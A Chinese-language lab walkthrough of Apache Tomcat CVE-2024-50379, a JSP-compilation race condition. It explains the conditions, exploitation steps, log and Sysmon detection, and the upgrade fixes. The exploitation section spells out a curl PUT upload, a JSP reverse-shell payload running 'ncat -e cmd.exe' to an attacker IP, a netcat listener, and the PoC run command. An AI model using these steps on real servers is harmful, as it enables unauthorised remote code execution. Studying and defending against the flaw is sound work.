Tomcat: CVE-2024-50379
漏洞概述
Apache Tomcat 是一个开源 Web 服务器和 Servlet 容器 。 Servlet 是一个 Java 类,它被创建在应用服务器上运行并处理客户端请求。它接收客户端的 HTTP 请求,进行处理,并生成正确的响应。Servlet 容器为 Java Servlet 提供运行时环境并管理它们的生命周期。
该漏洞影响以下版本的 Apache Tomcat:
- Apache Tomcat 11.0.0-M1 至 11.0.1(在 11.0.2 或更高版本中修复)
- Apache Tomcat 10.1.0-M1 to 10.1.33 (Fixed in 10.1.34 or later)
- Apache Tomcat 9.0.0.M1 to 9.0.97 (Fixed in 9.0.98 or later)
CVE -2024-50379 是一个检查时使用时 Time-of-check Time-of-use(TOCTOU) 漏洞的例子。TOCTOU 漏洞源于检查资源和使用资源之间的竞争条件。换句话说,系统在检查资源状态之后、使用资源之前,资源发生了变化,系统最终停止使用已更改的资源。在此漏洞中,TOCTOU 竞争条件发生在不区分大小写的系统上的 JSP(Java 服务器页面)编译期间,前提是默认 servlet 具有写入权限。
技术背景分析
在易受攻击的服务器上利用该漏洞主要有两个条件:
首先,服务器允许用户上传和删除文件,也就是说,服务器配置为接受 HTTP 命令,例如 PUT 和 DELETE。通过在 web.xml
配置文件中将 readonly
设置为 false
来启用写入功能。注意,默认配置为 readonly。
|
|
下面是一个不安全配置的示例,其中应用程序服务器设置为默认允许写入。
|
|
利用此漏洞的第二个条件是 Tomcat 运行在不区分大小写的系统上,例如 MS Windows 或 macOS。当满足这两个条件时,利用此漏洞就变成了与操作系统赛跑。
在 Linux 等区分大小写的系统上, demo.jsp
和 demo.Jsp
是两个不同的文件。因此,在 Linux 系统上, documents
和 Documents
共存于同一目录中并非不可能。
由于微软 Windows 系统不区分大小写,因此 demo.jsp
和 demo.Jsp
不可能是两个不同的文件;然而,对于 Tomcat 来说,前者是一个可以执行的 Servlet,而后者则被视为文本文件。换句话说,微软 Windows 对待 demo.Jsp
和正确命名为 demo.jsp
Servlet 没有任何区别;Tomcat 的大小写检查会阻止 demo.Jsp
被执行,从而避免将其视为可执行文件。
例如,如果我们尝试创建文件 demo.jsp
,使用 curl -X PUT -d "test" http://10.10.211.24:8080/demo.jsp
将会产生错误。由于 Servlet 可以在服务器端执行命令,因此出现此错误是意料之中的;因此,允许用户上传 .jsp
文件会赋予他们远程代码执行 ( RCE ) 的能力。在下面的终端中,我们看到一个示例错误。
|
|
让我们创建一个扩展名为 Jsp
或 JSP
的文件。此步骤应该可以成功,因为 Tomcat 不会将此类扩展名视为可执行文件。我们可以看到 demo.Jsp
文件已在服务器上成功创建。
|
|
如果我们尝试访问 demo.Jsp
,在不区分大小写的系统中,它与 demo.jsp
没有什么不同,但 Tomcat 会区分大小写,检查扩展名并将其视为文本文件。结果表明,当服务器负载过重时,可能会出现竞争条件。 demo.Jsp
可能会被编译并作为 servlet 执行。由于系统不区分大小写,因此对 servlet 扩展名(如 Jsp
和 JSP
)的约束已经从操作系统转移到应用服务器。换句话说,当系统负载过重,并且同时读写同一个文件时,大小写检查可能会被绕过,导致上传的文件被作为 servlet 执行。
本次使用的tomcat版本为:10.1.25
不知道为什么,使用nmap -sV扫描扫不出版本。使用curl查看页面可以看到tomcat版本
漏洞利用
了解了几个PoC,其中一个如下:
|
|
我们将对该脚本进行两处更改:
修改循环计数器 :在指定实验环境中,我们注意到将四个请求中的每一个重复 2000 次而不是 10000 次效率更高。
更改有效载荷 :为了进行更有趣的利用,我们将使用反向 shell,而不是在目标系统上启动计算器。
修改循环计数器
原始 PoC 代码在第 43 行重复了 10000 次 for
循环。为了获得更高效的结果,将次数降低到 2000。更新后的行如下所示:
|
|
更改有效载荷
此 PoC 漏洞利用使用了一个打开 calc.exe
Payload,可以从第 37 行推断出来。为了简化此漏洞利用,我们在 MS Windows 服务器上安装了 ncat
。因此,我们将用另一个连接到攻击者系统的 Payload 替换该 Payload。注释掉的 Payload 和新的 Payload 如下所示。
|
|
此有效载荷使用 JSP 的 Runtime.getRuntime().exec()
来执行 cmd /c start ncat -e cmd.exe 10.10.241.219 8888
。如上所述,这是可能的,因为我们为了演示目的安装了 ncat
。
开始
在运行此 PoC 之前,我们需要监听传入的连接。让我们使用 netcat -lvnp 8888
在 攻击机上启动 netcat
。
接下来,在攻击机上,我们使用命令 python3 ApachTomcat_CVE-2024-50379_ConditionalCompetitionToRce.py -u 10.10.211.24:8080
运行漏洞利用程序。
注 1: 运行此命令将显示类似 Checking http://10.10.211.24:8080/...
的消息,并且终端将停止显示更新几分钟。在此期间,漏洞代码会发送大量请求,导致目标服务器过载,并成功产生竞争条件。请等待脚本执行,同时观察终端运行 netcat -lvnp 8888
命令的情况。耐心是关键。
注 2: 由于这是一个竞争条件漏洞,您可能需要重复 PoC 多次才能成功。
当漏洞利用成功时,将与正在监听的 netcat
建立连接。
漏洞检测
由于该漏洞依赖于竞争条件成功,并且每次利用尝试都需要上传文件,因此很容易在网络访问日志中检测到(默认位于 C:\Program Files\Apache Software Foundation\<Tomcat Version>\logs\*access_log*
文件中)。对文件上传不受限制的网站进行的最简单攻击将记录如下:
- PUT 请求上传带有大写( .Jsp 或 .JSP )扩展名的文件(
"PUT /cve.Jsp"
) - 紧接着向同一个文件发出 GET 请求,但现在是向 .jsp 扩展名发出请求(
"GET /cve.jsp"
) - GET 请求将记录 200 或 404 状态代码,具体取决于竞争条件是否成功
- 重复上述步骤,直到竞争条件成功;通常需要 1000 次或更多次尝试
|
|
假设目标 Web 服务器不允许通过 PUT 直接上传文件,但仍具有一些 Web 上传功能(例如图片或文件上传功能)。在这种情况下,攻击将具有类似的迭代模式:首先请求 Web 上传表单,然后请求上传的恶意 JSP 文件:
|
|
系统日志
除了基于 Web 的检测之外,还可以使用默认的 Windows 事件日志或 Sysmon 等专用工具在操作系统和文件系统级别跟踪攻击。简而言之,可以围绕以下方面构建检测:
- 文件创建 :上传的 JSP 文件会保留在 Web 根目录中,除非威胁参与者手动删除它们。任何名称可疑的 JSP 文件(例如
revshell.jsp
)或包含.exec()
等字符串的无法识别的 JSP 文件都可能表明存在攻击。 - 进程执行 :上传的 JSP 文件通常需要启动子进程才能实现代码执行。在 Windows 上,如果发现 Apache Tomcat 启动了 CMD 或 PowerShell 进程,则可能是另一个可靠的攻击指标。
缓解措施
务必检查是否已为 servlet 启用了 write 权限。如果默认配置保持不变,即 readonly
未设置为 false
,则不会受到影响。如果 readonly 已设置为 false
,且您的用例不需要该权限,请将其重新设置为 true
。
缓解措施已在官方公告中概述。用户应考虑以下两点。首先,用户应升级已安装的 Apache Tomcat。具体如下:
- Apache Tomcat 11.0.0-M1 到 11.0.1 的用户应升级到 11.0.3 或更高版本。
- Apache Tomcat 10.1.0-M1 到 10.1.33 的用户应升级到 10.1.35 或更高版本。
- Apache Tomcat 9.0.0.M1 到 9.0.97 的用户应升级到 9.0.99 或更高版本。
对于仅升级到 11.0.2、10.1.34 或 9.98 的用户,需要执行其他步骤。特别是,旧版本 Java 的用户需要进行相关的显式更改:
- 在使用 Java 8 或 Java 11 的系统上,系统属性
sun.io.useCanonCaches
应从默认值更改为false
。 - 在使用 Java 17 的系统上,如果系统属性
sun.io.useCanonCaches
的默认值已更改,则应将其恢复为false
。
需要注意的是,Tomcat 11.0.3、10.1.35、9.0.99 及更高版本包含检查以确保 sun.io.useCanonCaches
设置正确。